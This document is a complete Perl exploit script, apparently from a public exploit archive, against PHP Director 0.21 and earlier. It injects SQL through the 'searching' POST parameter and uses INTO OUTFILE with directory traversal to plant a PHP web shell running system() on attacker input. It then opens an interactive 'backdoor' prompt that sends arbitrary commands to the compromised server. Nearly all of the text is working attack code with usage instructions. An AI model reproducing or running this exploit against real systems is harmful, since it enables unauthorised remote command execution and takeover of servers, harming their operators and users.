--+++===================================================================+++--
--+++====== PHP Director <= 0.21 Remote Command Execution Exploit ======+++--
--+++===================================================================+++--
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
sub clear
{
my $out = $_ [0];
$out =~ s/.+?xx//;
$out =~ s/xx.+//;
return $out;
}
sub usage
{
print "\nPHP Director <= 0.21 Remote Command Execution Exploit".
"\n[+] Author: darkjoker".
"\n[+] Site : http://darkjoker.net23.net".
"\n[+] Download: http://downloads.sourceforge.net/phpdirector/PHPDirector-Install-0.21-.zip?modtime=1181090906&big_mirror=0".
"\n[+] Usage : perl ${0} <hostname> <cms path> <shell destination>".
"\n[+] Ex. : perl ${0} localhost /PHPDirector /opt/lampp/htdocs/PHPDirector".
"\n[+] Notes : <shell destination> must be the same directory where CMS is hosted".
"\n\n";
exit ();
}
sub send_shell
{
my ($host, $path, $disc_path) = @_;
my $sock = new IO::Socket::INET (
PeerHost => $host,
PeerPort => 80,
Proto => "tcp",
) or die "[-] Exploit failed.\n";
my $sql_code = "searching=x' UNION SELECT 1,'xx<? system (\$_GET [cmd]); ".
"?>xx', 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 INTO ".
"OUTFILE '${disc_path}/shell.php' FROM pp_files#";
my $post = "POST ${path}/index.php HTTP/1.1\r\n".
"Host: ${host}\r\n".
"Connection: Close\r\n".
"Content-Length: ". length ($sql_code) . "\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n\r\n".
$sql_code;
print $sock $post;
close ($sock);
}
my ($host, $path, $disc_path) = @ARGV;
usage unless ($disc_path);
$disc_path = "../"x10 . $disc_path;
send_shell ($host, $path, $disc_path);
print "Delete this shell after use.\n'quit' command to exit\n\n";
my $cmd;
while (1)
{
print "backdoor\@${host}: \$ ";
$cmd = <STDIN>;
chomp $cmd;
$cmd =~ s/ /%20/g;
exit if ($cmd =~ /quit/);
my $sock = new IO::Socket::INET (
PeerHost => $host,
PeerPort => 80,
Proto => "tcp",
);
my $get = "GET ${path}/shell.php?cmd=${cmd}\r\n\r\n";
print $sock $get;
my $x;
$x .= $_ while (<$sock>);
$x = clear ($x);
print $x;
close ($sock);
}
